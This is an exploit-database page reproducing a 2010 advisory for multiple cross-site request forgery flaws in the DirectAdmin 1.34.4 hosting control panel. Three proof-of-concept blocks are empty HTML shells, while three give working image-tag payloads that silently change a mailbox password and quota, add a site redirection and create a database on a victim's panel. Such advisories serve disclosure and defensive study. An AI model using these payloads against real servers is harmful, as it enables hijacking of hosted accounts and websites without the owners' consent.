发布 2010-03-19 漏洞条目

DirectAdmin 1.34.4 – Multiple Cross-Site Request Forgerys

Exploit Source

=============================================================================

# Title : Multi CSRF vulnerability in DirectAdmin (1.34.4)

# Date : 20-3-2010

# Version : 1.34.4

# Author : K053 [K053.Dev0te3 _AT_ gmail]

# Tested on : Ubuntu

# Vendor : http://www.directadmin.com/

# Download : http://www.directadmin.com/demo.html

=============================================================================

# info : DirectAdmin is a graphical web-based web hosting control panel

designed to make administration of websites easier.

-----------------------------------------------------------------------------

>> Here I have listed some poc , maybe you find more ;)

-----------------------------------------------------------------------------

# poc 1 : Add Subdomain |

-------------------------

<html>

<title>Add subdomain</title>

</html>

-----------------------------------------------------------------------------

# poc 2 : Delete Subdomain |

---------------------------

<html>

<title>Delete subdomain</title>

</html>

Note : You msut set proper name stead selectx, for example if test subdomain

is at number 2 in list, should set it select1.

-----------------------------------------------------------------------------

# poc 3 : Delete Email |

---------------------------

<html>

<title>Delete Email</title>

</html>

Note : You msut set proper name stead selectx, for example if test Mail is at

number 2 in list, should set it select1.

-----------------------------------------------------------------------------

# poc 4 : Change Email Configuration |

-----------------------------------

<img src=http://address:port/CMD_EMAIL_POP?action=modify&domain=domain_name&user

=username&newuser=username&passwd=mypasswd&passwd2=mypasswd&quota=0&update=Modify>

Note : Able to Cahnge quota, password & Name

-----------------------------------------------------------------------------

# poc 5 : Set Redirection |

----------------------------

<img src=http://address:port/CMD_REDIRECT?domain=domain_name&action=add

&from=%2F&type=301&to=http://google.com

Note : Change from value if you want set redirection for specific direction.

-----------------------------------------------------------------------------

# poc 6 : Add Database |

--------------------------

<img src=http://address:port/CMD_DB?action=create&domain=domain_name&name=b0f

&user=b0f&passwd=frenzy&passwd2=frenzy&create=Create>

-----------------------------------------------------------------------------

作者: K053
日期: 2010-03-19
类别: webapps
平台: php

相关漏洞条目

MikroORM 7.0.13 – SQL Injection

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

Langflow 1.3.0 – Remote Code Execution

Prodigy Commerce 3.3.0 – Local File Inclusion